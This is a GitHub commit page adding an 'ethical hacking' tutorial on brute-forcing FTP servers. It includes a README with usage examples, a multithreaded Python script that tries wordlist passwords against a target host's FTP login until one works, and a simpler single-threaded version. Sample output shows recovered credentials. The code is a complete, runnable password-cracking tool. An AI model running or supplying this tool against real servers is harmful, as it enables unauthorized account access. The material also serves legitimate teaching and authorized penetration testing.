Skip to content

Commit ad8f004

Browse files
committed
added ftp cracker tutorial
1 parent fe12863 commit ad8f004

File tree

6 files changed

+5162
-0
lines changed

6 files changed

+5162
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
2222
- [How to Brute-Force SSH Servers in Python](https://www.thepythoncode.com/article/brute-force-ssh-servers-using-paramiko-in-python). ([code](ethical-hacking/bruteforce-ssh))
2323
- [How to Build a XSS Vulnerability Scanner in Python](https://www.thepythoncode.com/article/make-a-xss-vulnerability-scanner-in-python). ([code](ethical-hacking/xss-vulnerability-scanner))
2424
- [How to Use Hash Algorithms in Python using hashlib](https://www.thepythoncode.com/article/hashing-functions-in-python-using-hashlib). ([code](ethical-hacking/hashing-functions/))
25+
- [How to Brute Force FTP Servers in Python](https://www.thepythoncode.com/article/brute-force-attack-ftp-servers-using-ftplib-in-python). ([code](ethical-hacking/ftp-cracker))
2526

2627
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
2728
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

ethical-hacking/ftp-cracker/README.md

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# [How to Brute Force FTP Servers in Python](https://www.thepythoncode.com/article/brute-force-attack-ftp-servers-using-ftplib-in-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
- Use `ftp_cracker.py` for fast brute force:
5+
```
6+
python ftp_cracker.py --help
7+
```
8+
**Output:**
9+
```
10+
usage: ftp_cracker.py [-h] [-u USER] [-p PASSLIST] [-t THREADS] host
11+
12+
FTP Cracker made with Python
13+
14+
positional arguments:
15+
host The target host or IP address of the FTP server
16+
17+
optional arguments:
18+
-h, --help show this help message and exit
19+
-u USER, --user USER The username of target FTP server
20+
-p PASSLIST, --passlist PASSLIST
21+
The path of the pass list
22+
-t THREADS, --threads THREADS
23+
Number of workers to spawn for logining, default is 30
24+
```
25+
- If you want to use the wordlist `wordlist.txt` in the current directory against the host `192.168.1.2` (can be domain or private/public IP address) with the user `user`:
26+
```
27+
python ftp_cracker.py 192.168.1.2 -u user -p wordlist.txt
28+
```
29+
- You can also tweak the number of threads to spawn (can be faster, default is 30):
30+
```
31+
python ftp_cracker.py 192.168.1.2 -u user -p wordlist.txt --threads 35
32+
```
33+
- Output can be something like this:
34+
```
35+
[!] Trying 123456
36+
[!] Trying 12345
37+
...
38+
[!] Trying sweety
39+
[!] Trying joseph
40+
[+] Found credentials:
41+
Host: 192.168.1.113
42+
User: test
43+
Password: abc123
44+
```
+78
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
import ftplib
2+
from threading import Thread
3+
import queue
4+
from colorama import Fore, init # for fancy colors, nothing else
5+
6+
# init the console for colors (for Windows)
7+
# init()
8+
# initialize the queue
9+
q = queue.Queue()
10+
11+
# port of FTP, aka 21
12+
port = 21
13+
14+
def connect_ftp():
15+
global q
16+
while True:
17+
# get the password from the queue
18+
password = q.get()
19+
# initialize the FTP server object
20+
server = ftplib.FTP()
21+
print("[!] Trying", password)
22+
try:
23+
# tries to connect to FTP server with a timeout of 5
24+
server.connect(host, port, timeout=5)
25+
# login using the credentials (user & password)
26+
server.login(user, password)
27+
except ftplib.error_perm:
28+
# login failed, wrong credentials
29+
pass
30+
else:
31+
# correct credentials
32+
print(f"{Fore.GREEN}[+] Found credentials: ")
33+
print(f"\tHost: {host}")
34+
print(f"\tUser: {user}")
35+
print(f"\tPassword: {password}{Fore.RESET}")
36+
# we found the password, let's clear the queue
37+
with q.mutex:
38+
q.queue.clear()
39+
q.all_tasks_done.notify_all()
40+
q.unfinished_tasks = 0
41+
finally:
42+
# notify the queue that the task is completed for this password
43+
q.task_done()
44+
45+
46+
if __name__ == "__main__":
47+
import argparse
48+
parser = argparse.ArgumentParser(description="FTP Cracker made with Python")
49+
parser.add_argument("host", help="The target host or IP address of the FTP server")
50+
parser.add_argument("-u", "--user", help="The username of target FTP server")
51+
parser.add_argument("-p", "--passlist", help="The path of the pass list")
52+
parser.add_argument("-t", "--threads", help="Number of workers to spawn for logining, default is 30", default=30)
53+
54+
args = parser.parse_args()
55+
# hostname or IP address of the FTP server
56+
host = args.host
57+
# username of the FTP server, root as default for linux
58+
user = args.user
59+
passlist = args.passlist
60+
# number of threads to spawn
61+
n_threads = args.threads
62+
# read the wordlist of passwords
63+
passwords = open(passlist).read().split("\n")
64+
65+
print("[+] Passwords to try:", len(passwords))
66+
67+
# put all passwords to the queue
68+
for password in passwords:
69+
q.put(password)
70+
71+
# create `n_threads` that runs that function
72+
for t in range(n_threads):
73+
thread = Thread(target=connect_ftp)
74+
# will end when the main thread end
75+
thread.daemon = True
76+
thread.start()
77+
# wait for the queue to be empty
78+
q.join()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
colorama
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
import ftplib
2+
from colorama import Fore, init # for fancy colors, nothing else
3+
4+
# init the console for colors (for Windows)
5+
init()
6+
# hostname or IP address of the FTP server
7+
host = "192.168.1.113"
8+
# username of the FTP server, root as default for linux
9+
user = "test"
10+
# port of FTP, aka 21
11+
port = 21
12+
13+
def is_correct(password):
14+
# initialize the FTP server object
15+
server = ftplib.FTP()
16+
print(f"[!] Trying", password)
17+
try:
18+
# tries to connect to FTP server with a timeout of 5
19+
server.connect(host, port, timeout=5)
20+
# login using the credentials (user & password)
21+
server.login(user, password)
22+
except ftplib.error_perm:
23+
# login failed, wrong credentials
24+
return False
25+
else:
26+
# correct credentials
27+
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
28+
return True
29+
30+
31+
# read the wordlist of passwords
32+
passwords = open("wordlist.txt").read().split("\n")
33+
print("[+] Passwords to try:", len(passwords))
34+
35+
# iterate over passwords one by one
36+
# if the password is found, break out of the loop
37+
for password in passwords:
38+
if is_correct(password):
39+
break

0 commit comments

Comments
 (0)